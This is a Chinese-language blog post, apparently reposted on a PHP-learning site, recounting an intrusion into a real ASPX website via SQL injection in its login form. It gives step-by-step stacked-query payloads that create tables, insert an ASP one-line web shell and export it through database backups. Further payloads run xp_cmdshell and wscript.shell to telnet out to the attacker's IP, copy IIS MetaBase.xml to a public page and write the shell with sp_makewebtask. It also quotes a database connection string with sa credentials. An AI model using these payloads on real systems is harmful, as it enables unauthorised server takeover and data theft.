网站地图    收藏   

主页 > 后端 > 网站安全 >

登陆框又见post注入 升级版 - 网站安全 - 自学ph

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 、音符\对于一些基础知识,请看前面的一篇帖子(http://www.2cto.com/Article/201202/117960.html) 其他地方各种防注入,各种伤不起。看站就知道很NB,果断放弃跑到后台试试。Aspx的站在注入...

  、音符\
 
对于一些基础知识,请看前面的一篇帖子(http://www.2cto.com/Article/201202/117960.html)
 
  其他地方各种防注入,各种伤不起。看站就知道很NB,果断放弃跑到后台试试。Aspx的站在注入的地方出问题确实压力很大。
 
  直入主题,本来想用老方法拿到后台先。于是拿到了后台密码,过程省略了,如前面的帖子不解释。但是后台各种压力,想搞个数据库备份居然还要mssql密码,饥渴。果断返回到注入,尝试看看能不能有其他的利用方法,果断查看用户名,键入代码:
 
1' and user>0 and '1'='1
 
返回如图
 很久之前就知道,返回dbo的都是sa权限,sa用户哦,不是想干嘛干嘛么?
 
果断尝试建表插马导出。
 
过程如下。
 
首先当然是建表,键入:
 
1' ;create table [yinfu]([cmd] [image]);-- and '1'='1
 
返回如图
 

 
那怎么确定我们建立的表成功了么,果断在执行一次就好,如果存在的话就会报错。
 
再次键入
 
1' ;create table [yinfu]([cmd] [image]);-- and '1'='1             ‘--把其他的废话都注释掉
 
结果如图
 
 
OK,也就是说建表成功,我们各种插马吧。
 
一开始我是想用logbackup来导出,那么应该键入的是:
 
1’;declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;-- and ‘1’=’1
 
但是返回如图
 
没办法了,只好尝试backupdatabase来备份了,建表过程一样
 
果断继续键入:
 
1' ;declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;-- and '1'='1
 
结果如图
 
 

不报错 也就是成功了。
 
插马键入:
 
1' ;insert into [yinfu](cmd)values('<%execute(request(chr(35)))%>');-- and '1'='1
 
不解释
 
但是导出的时候我纠结了。本来以为根据报错返回的代码如图
 

 
那么网站路径已经已经出来了
 
E:\Projects\Bussiness\ZZX\XLCS\web\但是导出的时候出现了问题。
 
键入代码
 
1' ;declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='E:\Projects\Bussiness\ZZX\XLCS\web\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;-- and '1'='1
 
结果如图
 
 

这种情况一般要嘛是不目录不可写 要嘛是后缀不可写 要嘛是目录不存在。
 
在排除了目录不可写跟后缀不可写后小弟没办法了,只能尝试找路径了。(以上思路在其他站依然可用。)
 
既然是sa权限了,果断尝试执行命令呗。
 
本地监听了个123端口,在注入点键入
 
1' ;Exec master.dbo.xp_cmdshell 'telnet xxx.xxx.xxx.xxx 123';-- and '1'='1
 
Xxx啥的是我IP,本地果断没反应。
 
想象一般xp_cmdshell被黑阔利用的多,可能管理删除了cmd.exe啥的。
 
尝试那个无回显的存储过程吧,果断键入:
 
1' ;Exec master.dbo.xp_cmdshell 'Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'command.com /c telnet XXX 123;';-- and '1'='1
 
本地返回如图
 


 
OK,也就是说cmdshell被执行了,也证实了我的猜想。
 
那么简单了,现在我们需要的就是网站路径(其实现在直接提权拿服务器也一样,只是小弟路飞要的是web权限,不想祸害一台服务器了。)
 
键入命令
 
1' ;Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'command.com /c copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm';-- and '1'='1
 
因为这个存储过程是不回显的,当然这个注入点慢慢回显的话也确实够受的。
 
果断把配置文件备份到404页面,然后你们都懂得,执行成功了,看结果的话我们随便打开个确定不存在的页面,就可以查看了,如图。
 

 
 
 
不解释了,找啊找啊找朋友,各种关键字找到网站的根目录。
 
 
不想再重新建表啥的了(一个思路不行,已经擦过屁屁)
 
果断用存储过程cmdshell写一个一句话进去了。
 
键入:
 
1' ;exec master.dbo.sp_makewebtask @outputfile='E:\webroot\xxx\x.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''';-- and '1'='1果断查看网站根目录下面的x.asp结果如图
 

 
没啥说的。搞掂。
 
后话:提权服务器小事了,但是中间有点小事跟大家分享下。
 
 

让我比较震惊的是sa的密码居然这么弱,难道不怕被小菜鸟扫到么?
 
后来一点让我更加震惊如图
 
 

居然没有开1433端口,那我们咋办 咋提权呢?
 
以前遇到这个问题另外一个小弟ccl大大也是各种纠结,把每一个端口都拿去试,最后貌似也不成,这个时候咋办呢,其实很简单。我们关注他网站的数据库链接代码
 
<add key="ConnectionString" value="server=(local);database=x;UID=sa;password=sa;" /> 
 
貌似也没有有关端口的信息,但是其实不用管它,因为既然网站能够正常运行 说明这段代码一定可以连接到数据库,那么我们直接拿去链接就好了。
 
如图。
 

 
完。应该没有下一集了。
 
 
废话一下:年关各种穷,又出来招摇撞骗,带各种有钱小弟,求包养。Q738404558
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论